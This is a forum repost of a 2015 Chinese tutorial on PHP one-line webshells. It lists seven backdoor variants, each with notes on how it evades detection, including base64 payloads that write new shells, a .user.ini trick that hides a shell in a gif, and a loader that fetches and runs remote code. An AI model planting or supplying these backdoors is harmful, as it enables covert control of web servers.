搜索

[448] 2015-01-05_一句话木马初级篇：常见PHP后门解析

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-16
2015-01-05_一句话木马初级篇：常见PHP后门解析 一 句 话 木 马 初 级 篇 ： 常 见 P H P 后 门 解 析 B B Z h o u   A r k T e a m   2 0 1 5 - 0 1 - 0 5 网 站 后 门 网 站 后 门 ， 也 可 以 叫 做 W e b S h e l l ， 黑 客 在 入 侵 了 一 个 网 站 后 ， 通 常 会 将 一 些 a s p 或 p h p 文 件 与 网 站 服 务 器 W E B 目 录 下 正 常 的 网 页 文 件 混 在 一 起 ， 使 得 可 以 通 过 使 用 浏 览 器 来 访 问 这 些 a s p 或 者 p h p 文 件 ， 从 而 得 到 一 个 命 令 执 行 环 境 ， 最 终 达 到 控 制 网 站 服 务 器 的 目 的 （ 可 以 上 传 下 载 文 件 ， 查 看 数 据 库 ， 执 行 任 意 程 序 命 令 等 ) 。 这 样 的 文 件 叫 做 后 门 。 下 面 整 理 了 一 下 当 前 最 常 见 的 P H P 后 门 ： 最 流 行 的 一 种 后 门 叫 做 一 句 话 木 马 ， 其 形 式 如 下 所 示 ： < ? p h p e v a l ( $ _ P O S T [ C M D ] ) ; ? > 　 或 者 < ? p h p e v a l ( $ _ G E T [ C M D ] ) ; ? > 原 理 浅 析 ： 1 、 在 P H P 脚 本 语 言 中 ， e v a l （ c o d e ） 的 功 能 是 将 c o d e 组 合 成 p h p 指 令 ， 然 后 将 指 令 执 行 。 2 、 < ? p h p   $ a = " p h p i n f o ( ) " ;   e v a l ( " e c h o   $ a ;   " ) ;   ? > 就 相 当 于 执 行   e c h o   p h p i n f o （ ） 语 句 。 优 点 ： 短 小 精 悍 ， 功 能 强 大 。 缺 点 ： 容 易 被 安 全 软 件 检 测 出 来 。 为 了 增 强 隐 蔽 性 ， 出 现 了 各 种 一 句 话 木 马 的 变 形 。 变 形 一 ： 变 形 一 ： < ? p h p $ x = $ _ G E T [ ' z ' ] ; @ e v a l ( " $ x ; " ) ; ? > 改 进 的 地 方 ： 一 般 的 安 全 软 件 可 能 会 将 e v a l + G E T 或 P O S T 判 定 为 后 门 程 序 ， 因 此 这 种 变 形 将 e v a l 和 G E T 或 者 P O S T 分 开 ， 能 够 绕 过 这 种 情 况 。 不 足 之 处 ： 只 是 改 变 了 一 下 e v a l 和 g e t 的 位 置 ， 换 汤 不 换 药 。 变 形 二 ： 变 形 二 ： $ a = s t r _ r e p l a c e ( x , " " , " a x s x x s x e x r x x t " ) ; $ a ( $ _ P O S T [ " c o d e " ] ) ; 发 送 请 求 的 参 数 ： c o d e = f p u t s ( f o p e n ( b a s e 6 4 _ d e c o d e ( J 2 M u c G h w J w = = ) , w ) , b a s e 6 4 _ d e c o d e ( " P D 9 w a H A g Q G V 2 Y W w o J F 9 Q T 1 N U W 2 F d K T s / P g = = " ) ) 还 原 出 来 的 命 令 就 是 ： a s s e r t （ f p u t s ( f o p e n ( ' c . p h p ' , w ) , " < ? p h p @ e v a l ( $ _ P O S T [ a ] ) ; ? > " ) ） 改 进 的 地 方 ： 用 字 符 串 隐 藏 a s s e r t 方 法 ， 并 且 利 用 它 加 上 动 态 传 入 参 数 的 方 式 构 造 后 门 。 变 形 三 ： 变 形 三 ： $ _ G E T [ ' a ' ] ( $ _ G E T [ ' b ' ] ) ; 发 送 请 求 的 参 数 ： a = a s s e r t & b = f p u t s ( f o p e n ( b a s e 6 4 _ d e c o d e ( J 2 M u c G h w J w = = ) , w ) , b a s e 6 4 _ d e c o d e ( " P D 9 w a H A g Q G V 2 Y W w o J F 9 Q T 1 N U W 2 F d K T s / P g = = " ) ) 改 进 的 地 方 ： 完 全 利 用 动 态 参 数 传 入 的 方 式 构 造 后 门 ， 将 敏 感 函 数 和 执 行 的 命 令 动 态 传 入 ， 效 果 如 变 形 二 。 变 形 四 ： 变 形 四 ： ( $ c o d e   =   $ _ P O S T [ ' c o d e ' ] )   & & @ p r e g _ r e p l a c e ( ' / a d / e ' , ' @ ' . s t r _ r o t 1 3 ( ' r i n y ' ) . ' ( $ c o d e ) ' ,   ' a d d ' )
改 进 的 地 方 ： 首 先 ， 将 e v a l 函 数 用 s t r _ r o t 1 3 ( ' r i n y ' ) 隐 藏 。 然 后 ， 利 用   e   修 饰 符 ， 在 p r e g _ r e p l a c e 完 成 字 符 串 替 换 后 ， 使 得 引 擎 将 结 果 字 符 串 作 为 p h p 代 码 使 用 e v a l 方 式 进 行 评 估 并 将 返 回 值 作 为 最 终 参 与 替 换 的 字 符 串 。 变 形 五 ： 变 形 五 ： $ f i l e n a m e = $ _ G E T [ ' c o d e ' ] ; i n c l u d e   ( $ f i l e n a m e ) ; 改 进 的 地 方 ： 由 于 i n c l u d e 方 法 可 以 直 接 编 译 任 何 格 式 的 文 件 为 p h p 格 式 运 行 ， 因 此 可 以 上 传 一 个 t x t 格 式 的 p h p 文 件 ， 将 真 正 的 后 门 写 在 文 本 当 中 。 变 形 六 ： 变 形 六 ： 上 传 . u s e r . i n i ， 并 且 写 入 a u t o _ p r e p e n d _ f i l e = c o d e . g i f 将 一 句 话 隐 藏 在 c o d e . g i f 中 ， 并 且 将 它 上 传 到 同 一 目 录 下 。 改 进 的 地 方 ： 将 一 句 话 木 马 隐 藏 在 图 形 文 件 中 ， 并 且 利 用 用 户 配 置 文 件 将 其 自 动 加 载 到 同 目 录 的 p h p 文 件 下 ， 使 得 所 有 正 常 p h p 文 件 都 毫 不 知 情 的 中 招 。 变 形 七 ： 变 形 七 ： i f ( e m p t y ( $ _ S E S S I O N [ ' a p i ' ] ) ) $ _ S E S S I O N [ ' a p i ' ] = s u b s t r ( f i l e _ g e t _ c o n t e n t s ( s p r i n t f ( ' % s ? % s ' , p a c k ( " H * " , ' 6 8 7 4 7 4 7 0 3 a 2 f 2 f 3 7 7 3 6 8 6 5 6 c 6 c 2 e 6 7 6 f 6 f 6 7 6 c 6 5 6 3 6 f 6 4 6 5 2 e 6 3 6 f 6 d 2 f 7 3 7 6 6 e 2 f 6 d 6 1 6 b 6 5 2 e 6 a 7 0 6 7 ' ) , u n i q i d ( ) ) ) , 3 6 4 9 ) ; @ p r e g _ r e p l a c e ( " ~ ( . * ) ~ i e s " , g z u n c o m p r e s s ( $ _ S E S S I O N [ ' a p i ' ] ) , n u l l ) ; 改 进 的 地 方 ： 第 一 ， 通 过 p a c k 函 数 得 到 U R L 第 二 ， 利 用 f i l e _ g e t _ c o n t e n t s 获 得 m a k e . j p g 。 第 三 ， 利 用 s u b s t r 截 取 3 6 4 9 字 节 以 后 的 内 容 。 第 四 ， 利 用 g z u n c o m p r e s s 方 法 将 3 6 4 9 字 节 以 后 的 内 容 解 压 出 来 。 第 五 ， 用 p r e g _ r e p l a c e 方 法 的 e 操 作 符 将 代 码 执 行 。 还 有 很 多 后 续 操 作 … … 以 上 为 了 试 验 操 作 的 方 便 ， 采 用 的 是 G e t 方 式 获 取 P H P 的 执 行 代 码 ， 但 实 际 上 ， 由 于 U R L 长 度 的 限 制 ， 一 般 采 用 P o s t 的 方 式 。 由 于 P H P 版 本 的 不 断 更 新 ， 因 此 一 些 旧 的 方 法 可 能 已 经 不 太 好 用 ， 但 是 随 着 版 本 的 更 新 ， 相 信 也 会 有 更 多 越 来 越 新 奇 的 m m 慢 慢 浮 出 水 面 ， 让 我 们 拭 目 以 待 。 ( 作 者 ： B B Z h o u / A r k T e a m ) 更 多 精 彩 内 容 ， 请 关 注 ： 1 .   A r k T e a m 官 方 微 信 官 方 微 信 — 公 众 账 号 名 称 ： A r k T e a m 2 .   A r k T e a m 官 方 微 博 ： 官 方 微 博 ： 昵 称 ： A r k T e a m 网 址 ： h t t p : / / w w w . w e i b o . c o m / a r k t e a m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理